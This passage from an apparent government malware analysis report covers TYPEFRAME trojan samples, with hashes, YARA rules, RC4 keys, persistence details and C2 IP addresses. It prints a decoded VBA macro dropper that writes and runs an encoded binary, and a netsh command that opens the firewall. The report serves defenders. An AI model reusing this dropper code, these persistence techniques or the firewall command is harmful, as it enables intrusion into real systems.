The malware attempts to open port 8443 and wait for connection. The malware contains public SSL certificates in its resource named "101". It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

**d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92**

**Tags**

dropperproxytrojan

**Details**

<b>Name</b>	BF474B8ACD55380B1169BB949D60E9E4
<b>Size</b>	466241 bytes
<b>Type</b>	PE32 executable (GUI) Intel 80386, for MS Windows
<b>MD5</b>	bf474b8acd55380b1169bb949d60e9e4
<b>SHA1</b>	c60c18fc0226a53be15637ee3ef0b73b0dabd854
<b>SHA256</b>	d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92
<b>SHA512</b>	46995cf3516c160d2f4fa5957c8c67df75f2768b24562b22de46a5d4ef7ba17fecaef2ad900bc6925e0c4284802864361423653154ad0622af
<b>ssdeep</b>	12288:G+3/oi/EpRsV97/8Olq3p8YNk5oYEeLxCSStEowZVKmZag:Gmoi/EpRsV9S3prgomLE9oVmQg
<b>Entropy</b>	7.760001

**Antivirus**

<b>Ahnlab</b>	Malware/Win32.Generic
<b>Antiy</b>	Trojan/Win32.TSGeneric
<b>Avira</b>	TR/Autophyte.hctaa
<b>BitDefender</b>	Trojan.GenericKD.31017522
<b>ClamAV</b>	Win.Trojan.Typeframe-6595034-1
<b>Cyren</b>	W32/Trojan.SYHZ-1002
<b>ESET</b>	a variant of Win32/NukeSped.EO trojan
<b>Emsisoft</b>	Trojan.GenericKD.31017522 (B)
<b>Ikarus</b>	Trojan.Win32.Autophyte
<b>K7</b>	Trojan ( 00535e7f1 )
<b>McAfee</b>	RDN/Generic Dropper
<b>Microsoft Security Essentials</b>	Trojan:Win32/Autophyte.B!dha
<b>NANOAV</b>	Trojan.Win32.Autophyte.feqzqh
<b>Sophos</b>	Troj/Cruprox-B
<b>Symantec</b>	Trojan Horse
<b>TrendMicro</b>	BKDR_PROXSPED.A
<b>TrendMicro House Call</b>	BKDR_PROXSPED.A
<b>VirusBlokAda</b>	BScope.TrojanDropper.Agent
<b>Zillya!</b>	Dropper.Agent.Win32.376404

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	<pre>rule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: \$s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 } \$s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } \$s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }</pre>
---------------------------------------	--

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2017-06-08 07:12:45-04:00
<b>Import Hash</b>	225e9f7be86d6676c98a852492458049

**PE Sections**

MD5	Name	Raw Size	Entropy
21257d58787390491b672d426714b015	header	4096	0.592724
dff4417e6006f193afa34a31581d52dd	.text	53248	6.423430
5fbee580cf5cb5ee032f29c78b5f7b	.rdata	12288	3.435650
c5776014ec07771c8d8093a7af1868c7	.data	16384	2.126011

**Packers/Compilers/Cryptors**

Microsoft Visual C++ v6.0

**Relationships**

d1d490866d...	Contains	40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116
---------------	----------	--

**Description**

This 32-bit Windows executable is a RAT, designed to install a proxy module as a service on the victim's system.

The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin Rc4 key--
75 0E 83 C0 02 83 C1 02 84 D2 75 E4 33 C0 EB 05
--End Rc4 key--
```

Decrypted strings of interest are displayed below:

```
--Begin strings of interest--
"wmpplayer.xml"
"printcache.tlb"
"printcache"
"Print Device Cache"
"Manage Print Device Cache And Printing"
--End strings of interest--
```

When executed, the malware will load an embedded RC4 encrypted archive file from the start of the offset "0x15000".

The malware decrypts the archive using the same Rc4 key. The decrypted archive contains a proxy module, which is decompressed and installed from the existing file name "wmpplayer.xml" to "C:\Windows\system32\printcache.tlb".

The malware installs the module as a serviceDLL in the "printcache" service group in order to execute "C:\Windows\system32\printcache.tlb" by the Windows service hosting process,

```

"%SYSTEMROOT%\system32\svchost.exe".

--Begin service--
ServiceName = "printcache"
DisplayName = "Print Device Cache"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k printcache"
--End service--
    
```

The malware contains an RC4 encrypted configuration file data, which contains port numbers (8 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

```

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Signature"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
    
```

**40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116**

**Tags**

proxytrojan

**Details**

<b>Name</b>	1printcache.tlb
<b>Name</b>	CA67F84D5A4AC1459934128442C53B03
<b>Size</b>	778240 bytes
<b>Type</b>	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
<b>MD5</b>	ca67f84d5a4ac1459934128442c53b03
<b>SHA1</b>	f4eb6a50c60320edafb3e48c612c6a55560d0684
<b>SHA256</b>	40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116
<b>SHA512</b>	4695cf69e2ae52fc94eab31cbc3bb846022a3e1516d9bc293118f674ea1eb86468cff0a4c0dee8dff8a2d545df153116e8d86669513426e1b3
<b>ssdeep</b>	12288:drF4D0d2QKPIyWE8QPnWnGHIS2VcL2ZotSNfpV532/dlZ:x6IGnWntQ2ZvfpmvdlZ
<b>Entropy</b>	6.710797

**Antivirus**

<b>Ahnlab</b>	Trojan/Win32.Agent
<b>BitDefender</b>	Gen:Variant.Symmi.14589
<b>ClamAV</b>	Win.Trojan.Typeframe-6595034-1
<b>Cyren</b>	W32/Trojan.NVOE-8746
<b>ESET</b>	a variant of Win32/NukeSped.EO trojan
<b>Emsisoft</b>	Gen:Variant.Symmi.14589 (B)
<b>Ikarus</b>	Trojan.Win32.NukeSped
<b>K7</b>	Trojan ( 00535e7f1 )
<b>McAfee</b>	GenericRFXZ-TW!CA67F84D5A4A
<b>NANOAV</b>	Trojan.Win32.NukeSped.feqxzq

<b>Sophos</b>	Troj/Cruprox-B
<b>Symantec</b>	Trojan Horse
<b>TrendMicro</b>	TROJ_PROXSPED.A
<b>TrendMicro House Call</b>	TROJ_PROXSPED.A
<b>VirusBlokAda</b>	Trojan.Agentb

**Yara Rules**

No matches found.

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2017-06-08 07:12:35-04:00
<b>Import Hash</b>	09e63e3d425d6b543de4003f71c2b66d

**PE Sections**

MD5	Name	Raw Size	Entropy
5b1f93f0412e9f1c7a7ad42d729b292b	header	4096	0.769911
e6ea312f762f4df521b229a77f186664	.text	475136	6.629464
b6fa7b267ea19010d44f056ec3cca39d	.rdata	147456	5.920344
1076ec3948d21da8d6c5036548880c63	.data	77824	4.972282
77c814f5856057e7a7f6237bba51a76	.rsrc	32768	7.100017
3184d0afb653bf0723cadccc14d92071	.reloc	40960	5.752155

**Packers/Compilers/Cryptors**

Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)

**Relationships**

40ef57ca2a...	Contained_Within	d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92
---------------	------------------	--

**Description**

1printcache.tlb (original name: PDll.dll) is a proxy module installed as a service by the file d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92. This file is designed to open the Windows Firewall on the victim's machine to allow incoming connections and force the compromised system to function as a proxy server.

The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin Rc4 key--
75 0E 83 C0 02 83 C1 02 84 D2 75 E4 33 C0 EB 05
--End Rc4 key--
```

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

```
--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
```

```
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
```

The decrypted data contains hexadecimal encoded port numbers:

```
--Begin port # list --
BB 01 ==> 1BB ==>443
7F 00 ==> 7F ==> 127
FB 20 ==> 20FB ==> 8443
--End port # list --
```

The malware utilized the following command to open the Windows Firewall on the victim's machine to allow incoming connections.

```
--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=443 action=allow enable=yes"
--End firewall modification--
```

The malware attempts to open ports 443, 127, and 8443 and wait for connection. The malware contains public SSL certificates in its resource name "101". It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

**546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1**

**Tags**

downloaderdroppertrojan

**Details**

<b>Name</b>	6AB301FC3296E1CEB140BF5D294894C5
<b>Size</b>	259584 bytes
<b>Type</b>	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
<b>MD5</b>	6ab301fc3296e1ceb140bf5d294894c5
<b>SHA1</b>	8d62498656db928f987b47bdbcfab5d6032be48a
<b>SHA256</b>	546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1
<b>SHA512</b>	3abd7a690d821ace78d8f5e2394f0922308963c7ba8ee63661e9c9b2e36fe8353904346b4b0457c6ace3071505533187d62a41d47473a6a9
<b>ssdeep</b>	3072:JdHh7xVwMPRTxXX0bqkmvA7XKmJLiSi3Ix1DKXrITNEsuFFCcejbmUkGVcNP+:17xVrxxn0PrWiv8hLnS+
<b>Entropy</b>	5.918488

**Antivirus**

<b>Ahnlab</b>	Trojan/Win32.Agent
<b>Antiy</b>	Trojan/Win32.Cossta
<b>Avira</b>	TR/AD.APTLazerus.aroap
<b>BitDefender</b>	Trojan.GenericKD.31019942
<b>ClamAV</b>	Win.Trojan.Typeframe-6595058-1
<b>Cyren</b>	W64/Trojan.BVRT-3061
<b>ESET</b>	a variant of Win32/NukeSped.AK trojan
<b>Emsisoft</b>	Trojan.GenericKD.31019942 (B)
<b>Ikarus</b>	Trojan.Win32.NukeSped
<b>K7</b>	Trojan ( 0051c2fd1 )

<b>McAfee</b>	RDN/Generic.dx
<b>Microsoft Security Essentials</b>	Trojan:Win32/Typeframe
<b>NANOAV</b>	Trojan.Win64.Cossta.feqzmr
<b>Symantec</b>	Trojan Horse
<b>TrendMicro</b>	TROJ64_.CF537F06
<b>TrendMicro House Call</b>	TROJ64_.CF537F06
<b>VirusBlokAda</b>	Trojan.Downloader
<b>Zillya!</b>	Trojan.GenericKD.Win32.146686

**Yara Rules**

No matches found.

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2017-05-08 11:43:26-04:00
<b>Import Hash</b>	b32c7db2b70ae7b183886924d873c585

**PE Sections**

MD5	Name	Raw Size	Entropy
24baa03194bc78f0184ea606128bc80f	header	1024	2.821047
170ce86f9a7ffcd242f3903fafa1f302	.text	57856	6.433615
33b066692952c4534ebf0a56ca293085	.rdata	37888	5.095210
b4eed5366c4254a3c7f6c2f021c29efe	.data	156160	4.916035
3ad7431aaa87a1e6b6400ca9b273d98a	.pdata	4096	4.579212
c23d2715b42b072fcf86b2aa58807b56	.rsrc	512	4.714485
ad711ec082866631d620286bb36fdb72	.reloc	2048	4.752156

**Relationships**

546dbd370a...	Contains	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
---------------	----------	--

**Description**

This file is a malicious 64-bit Windows dynamic-link library (DLL) that is designed to drop and execute an embedded file. The malware decodes the embedded file by XORing it with the value "0x35".

During analysis, the malware executed the file as C:\Windows\Temp\java.exe (3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210). The dropped file has been identified as a RAT.

**3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210**

**Tags**

backdoorremote-access-trojan Trojan

**Details**

<b>Name</b>	java.exe
<b>Size</b>	118784 bytes
<b>Type</b>	PE32 executable (GUI) Intel 80386, for MS Windows
<b>MD5</b>	77b50bb476a85a7aa30c962a389838aa
<b>SHA1</b>	df466a1f473c7c5eba5f22d90822fd1430b6a244
<b>SHA256</b>	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
<b>SHA512</b>	33b78e0bc8832958b79292bfebffe32c03b59b92044bb95331ee384f7061f6724c7d10bcf17ee1395dbd437b225c0813ba4bc5de6ef44f4bd
<b>ssdeep</b>	3072:sPhrkoI8QYJRMs4y5pe+/a5sN5t4+PXP:Mi/lqpe+/0sa
<b>Entropy</b>	5.880053

**Antivirus**

<b>Ahnlab</b>	Backdoor/Win32.Agent
<b>Antiy</b>	Trojan/Win32.Cossta
<b>Avira</b>	TR/Agent.bkecf
<b>BitDefender</b>	Trojan.GenericKD.30623185
<b>ClamAV</b>	Win.Trojan.Typeframe-6595035-1
<b>Cyren</b>	W32/Trojan.YPCX-1821
<b>ESET</b>	a variant of Win32/NukeSped.AK trojan
<b>Emsisoft</b>	Trojan.GenericKD.30623185 (B)
<b>Ikarus</b>	Trojan.Win32.NukeSped
<b>K7</b>	Trojan ( 004fa2411 )
<b>McAfee</b>	Trojan-FNWy!77B50BB476A8
<b>Microsoft Security Essentials</b>	Trojan:Win32/Typeframe
<b>NANOAV</b>	Trojan.Win32.NukeSped.fajisv
<b>Quick Heal</b>	Trojan.MauvaiseRI.S5249940
<b>Sophos</b>	Troj/Cruprox-A
<b>Symantec</b>	Backdoor.Cruprox
<b>Systweak</b>	trojan.nukesped
<b>TACHYON</b>	Backdoor/W32.Agent.118784.FE
<b>TrendMicro</b>	TROJ_NUKESPED.A
<b>TrendMicro House Call</b>	TROJ_NUKESPED.A
<b>VirusBlokAda</b>	Trojan.Cossta
<b>Zillya!</b>	Trojan.Cossta.Win32.10325

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	<pre>rule HC_RAT { meta: author = "NCCIC Code &amp; Media Analysis" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "1C53E7269FE9D84C6DF0A25BA59B822C" strings: \$s0 = {8B4C240433C081E1FFFF000081C10080FFFF83F9430F8770010000} \$s1 = {880430403D00010000} \$s2 = {48894C2408574883EC200FB7C133FF050080FFFF83F8430F8760020000} \$s3 = {8801FFC048FFC13D00010000} condition: (\$s0 and \$s1) or (\$s2 and \$s3) }</pre>
---------------------------------------	--

**ssdeep Matches**

<b>94</b>	7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd
-----------	--

**PE Metadata**

<b>Compile Date</b>	2017-04-28 03:28:32-04:00
<b>Import Hash</b>	85c89bf0449505044219f0be26213402
<b>Company Name</b>	Microsoft Corporation
<b>File Description</b>	ProQuota
<b>Internal Name</b>	proquota
<b>Legal Copyright</b>	Microsoft Corporation. All rights reserved.
<b>Original Filename</b>	proquota.exe.mui
<b>Product Name</b>	Microsoft Windows Operating System
<b>Product Version</b>	6.1.7600.16385

**PE Sections**

MD5	Name	Raw Size	Entropy
81c12eb5fc3cbdd06675cd1097363a40	header	4096	0.689960
2539474aa6202371abd37a4d66031955	.text	86016	6.641666
b97c14b801643b3a61ea28266f3f71b1	.rdata	8192	4.735406
48eb8a67d4fd42ea24da9dc9029cb101	.data	16384	1.857068
c139ac9cb34e0620a10c15e5d42b85d2	.rsrc	4096	1.174962

**Packers/Compilers/Cryptors**

Microsoft Visual C++ v6.0

**Relationships**

3c809a1010...	Contained_Within	546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1
3c809a1010...	Connected_To	184.107.209.2
3c809a1010...	Connected_To	111.207.78.204
3c809a1010...	Connected_To	80.91.118.45
3c809a1010...	Connected_To	181.119.19.56

**Description**

This file is a 32-bit Windows executable designed to connect to its remote server and wait for instructions. The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin Rc4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End Rc4 key--
```

This file is a RAT and contains the following embedded hexadecimal encoded C2 IP addresses and port numbers:

```
--Begin IP and port # list--
1BBh ==> 443
2D765B50h ==> 80.91.118.45
381377B5h ==> 181.119.19.56
0CC4ECF6Fh ==> 111.207.78.204
2D16BB8h ==> 184.107.209.2
--End IP and port # list--
```

When executed, it attempts to connect to its C2 IPs using port 443 and waits for instructions. The malware is designed to accept instructions from the remote server to perform additional functions:

```
--Begin functions perform by the malware--
Search for files
Execute process
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
--End functions perform by the malware--
```

The malware is designed to use the same RC4 key to encrypt its configuration file data, which contains the hexadecimal encoded C2 IP address and port number. The encrypted configuration data is stored into the following registry key:

```
--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
```

**4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd**

**Tags**

downloaderdroppertrojan

**Details**

<b>Name</b>	3229A6CEA658B1B3CA5CA9AD7B40D8D4
<b>Size</b>	712192 bytes
<b>Type</b>	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 949, Author: ISkyISea, Template: Norm By: ISkyISea, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 17:00, Create Time/Date: 18:36:00 2017, Last Saved Time/Date: Thu Apr 6 00:34:00 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, S
<b>MD5</b>	3229a6cea658b1b3ca5ca9ad7b40d8d4
<b>SHA1</b>	70730e608e2fcc68ce468ed148e965c5bacfb51c
<b>SHA256</b>	4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd
<b>SHA512</b>	ff385a9446415412950562cca832eab1d17de56932f3633a86202dea829e8bd25e56864306f2e6c8bb7ff7d2cfe2785acc4261410e3834894
<b>ssdeep</b>	12288:sh+81FiNloAzmXJ1NPeZ3eMNzTf7fHRRAug0EX7:W1FiNWEYxeV3NfHDe
<b>Entropy</b>	5.446016

**Antivirus**

<b>Ahnlab</b>	Msoffice/Dropper
<b>Antiy</b>	Trojan[Downloader]/Msoffice.Agent.ye
<b>BitDefender</b>	VB:Trojan.Valyria.401
<b>ClamAV</b>	Doc.Dropper.Agent-6591386-0
<b>Cyren</b>	Trojan.TKGI-6
<b>ESET</b>	VBA/TrojanDropper.Agent.YE trojan
<b>Emsisoft</b>	VB:Trojan.Valyria.401 (B)
<b>Ikarus</b>	Trojan-Dropper.VBA.Agent
<b>McAfee</b>	W97M/Dropper.dj
<b>Microsoft Security Essentials</b>	TrojanDropper:O97M/SilverMob.A!dha
<b>NANOAV</b>	Trojan.Ole2.Vbs-heuristic.druvzi
<b>Quick Heal</b>	W97M.Downloader.BJS
<b>Sophos</b>	Troj/DocDI-KOR
<b>Symantec</b>	W97M.Downloader
<b>TACHYON</b>	Suspicious/W97M.Obfus.Gen.2
<b>TrendMicro</b>	W2KM_SILVMOB.A
<b>TrendMicro House Call</b>	W2KM_SILVMOB.A

**Yara Rules**

No matches found.

**ssdeep Matches**

No matches found.

**Description**

This is a malicious Microsoft Word document, and contains Visual Basic for Application (VBA) macros. When the Word document is opened, the user is prompted to enable the use of macros by the Microsoft Word process. If the user enables macro execution, the embedded malicious macro will be executed and proceed to decode a PE binary and execute it from "%TEMP%\leo.exe". A code snippet used to decode the malicious binary is displayed below:

--Begin code snippet--

```

On Error GoTo gaqz

liveOn = "mfp/fyf"

liveOff = Environ("temp") + ""
For qnx = 1 To Len(liveOn)
    liveOff = liveOff + Chr(Asc(Mid$(liveOn, qnx, 1)) - 1)
Next

Dim str(238) As String

str(1) = "Encoded hex data"
str(2) = "Encoded hex data"
str(3) = "Encoded hex data"
str(4) = "Encoded hex data"
str(5) = "Encoded hex data"
.....
.....
str(238) = "Encoded hex data"
    
```

```
Dim offBin(499) As Byte
str(1) = "Encoded hex data"
str(2) = "Encoded hex data"
str(3) = "Encoded hex data"
.....
.....
str(499) = "Encoded hex data"

Open liveOff For Binary Access Write As #1

lpdq = 1

For jnx = 0 To 237
  For inx = 0 To 499
    offBin(inx) = Val("&H" + Mid(str(jnx + 1), inx * 2 + 1, 2))
    offBin(inx) = offBin(inx) Xor 231
  Next inx

  Put #1, lpdq, offBin
  lpdq = lpdq + 500
Next jnx

Close #1

jfsukew liveOff

liveOn = "tfdvsjuzxbsjoh`mndjsu`514/epd"

liveOffd = Environ("temp") + "\"
For qnx = 1 To Len(liveOn)
  liveOffd = liveOffd + Chr(Asc(Mid$(liveOn, qnx, 1)) - 1)
Next qnx

Dim strd(167) As String
strd(167) = ""

Dim offBind(499) As Byte

Open liveOffd For Binary Access Write As #2

lpdq = 1

For jnx = 0 To 166
  For inx = 0 To 499
    offBind(inx) = Val("&H" + Mid(strd(jnx + 1), inx * 2 + 1, 2))
    offBind(inx) = offBind(inx) Xor 231
  Next inx

  Put #2, lpdq, offBind
  lpdq = lpdq + 500
Next jnx

Close #2

SetAttr liveOffd, 6

bazu = ThisDocument.Name

Application.Documents.Open (liveOffd)
Application.ActiveDocument.ActiveWindow.Caption = bazu
ThisDocument.Close

gaqz:
End Sub

Function Jdhcuad(Input_Str$) As String
  Dim Len_Str%, Result$, Temp_Str$, n%
```

```

Len_Str = Len(Input_Str)
For n = 1 To Len_Str
    Temp_Str = Mid(Input_Str, n, 1)
    Temp_Str = Chr(46 + (Asc(Temp_Str) - 46 - 20 + (122 - 46)) Mod (122 - 46))
    Result = Result + Temp_Str
Next

Jdhcuad = Result
End Function

Private Sub jfsukew(filename)
    Dim obj As Object
    Set obj = CreateObject(Jdhcuad("kgw:18<Bg0y44"))
    obj.Run filename, 1, False
    Set obj = Nothing
End Sub
--End code snippet--

```

c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777

**Tags**

backdoorremote-access-trojan Trojan

**Details**

<b>Name</b>	BFB41BC0C3856AA0A81A5256B7B8DA51
<b>Size</b>	578174 bytes
<b>Type</b>	PE32+ executable (GUI) x86-64, for MS Windows
<b>MD5</b>	bfb41bc0c3856aa0a81a5256b7b8da51
<b>SHA1</b>	cb96e29332fe94d1a70309837f73daf7bec81284
<b>SHA256</b>	c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777
<b>SHA512</b>	37223163a329ffa7b77a9190aab1da5fbf38c6d76139591d592d695e5caa81b56f6d3769540e2781c87a29de3d39e5e9c8ee70bd9ed6a0bee
<b>ssdeep</b>	12288:jxn1kOPTkEjkHsnCrYHM46QyFgHj+u1XC1GbA/UXAfAGZI3PWM+;jxn1kOLkEQHsYYDd+u1HbA/Uw47/L+
<b>Entropy</b>	7.848313

**Antivirus**

<b>Ahnlab</b>	Trojan/Win32.Akdoor
<b>Avira</b>	TR/NukeSped.qkzfp
<b>BitDefender</b>	Trojan.GenericKD.31025967
<b>ClamAV</b>	Win.Trojan.Typeframe-6595036-1
<b>Cyren</b>	W64/Trojan.ZNJL-0100
<b>ESET</b>	a variant of Win64/NukeSped.BA trojan
<b>Emsisoft</b>	Trojan.GenericKD.31025967 (B)
<b>Ikarus</b>	Trojan.Win64.Nukesped
<b>K7</b>	Riskware ( 0040eff71 )
<b>NANOAV</b>	Trojan.Win64.NukeSped.feqzml
<b>Sophos</b>	Troj/NukeSped-T
<b>Symantec</b>	Trojan Horse

<b>TACHYON</b>	Trojan/W32.Agent.578174
<b>TrendMicro</b>	BKDR64_.97ED50E7
<b>TrendMicro House Call</b>	BKDR64_.97ED50E7
<b>VirusBlokAda</b>	Backdoor.Win64.Agent
<b>Zillya!</b>	Backdoor.Agent.Win64.360

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	rule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: \$s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 } \$s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } \$s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }
<b>hidden_cobra_consolidated.yara</b>	rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: \$s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} \$s1 = {B6 DF 01 FD 48 B5 } \$s2 = {B6 D5 0E F3 4E B5 } \$s3 = {B7 DF 0E EE } \$s4 = {B6 DF 03 FC } \$s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2017-06-05 21:21:48-04:00
<b>Import Hash</b>	c1bcec5e2d5d967daefaff0a252273a6

**PE Sections**

MD5	Name	Raw Size	Entropy
55b6d1ed6d76c7d17cc270bc1843d2cb	header	1024	2.558659
6e501513865a783fa945269010ac3785	.text	69632	6.390707
45584c7afd086b651d7299673643506	.rdata	24064	4.704433
4a8e757aef91c54de52d5b81098e0cc7	.data	7680	4.003255
de3fe99833797faa77379640174d16c4	.pdata	4096	4.786623
0cc425d0556c63acb7c04b9b1a211d5b	.rsrc	512	5.105006
914f25782a74f42e42d7974b13bd01c8	.reloc	1536	2.869845

**Packers/Compilers/Cryptors**

Microsoft Visual C++ 8.0 (DLL)

**Relationships**

c9e3b83d77...	Contains	e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef
---------------	----------	--

**Description**

This file is a 64-bit Windows executable version of the file 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 and is designed to install a RAT as a service on the victim's system. This file accepts the following arguments during execution "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd".

The RAT's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin RC4 key--  
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B  
--End RC4 key--
```

Decrypted strings of interest are displayed below:

```
--Begin strings of interest--  
host.dll  
"Task Notification Service"  
"Monitors And Notifies Task Scheduling And Interaction"  
netsvcs  
--End strings of interest--
```

When executed, the RAT loads an embedded RC4 encrypted archive file from the start of the offset "0x1A800" of the file.

The malware decrypts the archive using the same Rc4 key. The decrypted archive contains a malicious DLL module, which is decompressed and installed into "C:\Windows\system32\dwnhost.dll". The first three characters of the module name are randomly generated.

The malware contains RC4 encrypted configuration file data (192 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

```
--Begin registry key--  
hKey = HKEY_LOCAL_MACHINE  
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\dwnhost.dll"  
ValueName = "Description"  
ValueData = "RC4 encrypted configuration file data"  
--End registry key--
```

The malware installs a malicious DLL module as a serviceDLL in the "netsvcs" service group in order to execute "C:\Windows\system32\dwnhost.dll" by Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe". The service name and the display name are randomly generated.

The installed service information is displayed below:

```
--Begin service--  
ServiceName = "NWCWorkstation"  
DisplayName = "NWCWorkstation"  
DesiredAccess = SERVICE_ALL_ACCESS  
ServiceType = SERVICE_WIN32_SHARE_PROCESS  
StartType = SERVICE_AUTO_START  
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k netsvcs"  
--End service--
```

**e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef**

**Tags**

remote-access-trojan Trojan

**Details**

<b>Name</b>	dwnhost.dll
<b>Size</b>	1030144 bytes
<b>Type</b>	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
<b>MD5</b>	9722bc9e0efb4214116066d1ff14094c

<b>SHA1</b>	41a938499048a6ad8034d09e2fbb893da8f13ca9
<b>SHA256</b>	e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef
<b>SHA512</b>	8470c240868441093314ebe263028ceef61d900b41aaeed77fd934edf81b9a75f6c96d0fcc0ac87364c8e23e0b8eb19ec8bcd47daf1d50c11
<b>ssdeep</b>	12288:nqU713B5hV7rJIBBAVbyjRbJSbdSYJ3rxt7o6qRBpDwQmnQ2bqPjD+PmCNVGSf:nRxJIB7hSZSG37jo/GsPepCdOwy
<b>Entropy</b>	6.424883

**Antivirus**

<b>Ahnlab</b>	Trojan/Win32.Agent
<b>Antiy</b>	Trojan/Win32.AGeneric
<b>BitDefender</b>	Trojan.GenericKD.31025935
<b>ClamAV</b>	Win.Trojan.Typeframe-6595036-1
<b>Cyren</b>	W64/Trojan.IFZB-3557
<b>ESET</b>	a variant of Win64/NukeSped.BA trojan
<b>Emsisoft</b>	Trojan.GenericKD.31025935 (B)
<b>Ikarus</b>	Trojan.Win64.Nukesped
<b>K7</b>	Riskware ( 0040eff71 )
<b>McAfee</b>	RDN/Generic.dx
<b>NANOAV</b>	Trojan.Win64.NukeSped.fepuhl
<b>Sophos</b>	Troj/NukeSped-U
<b>TrendMicro</b>	BKDR64_.512A3DD3
<b>TrendMicro House Call</b>	BKDR64_.512A3DD3
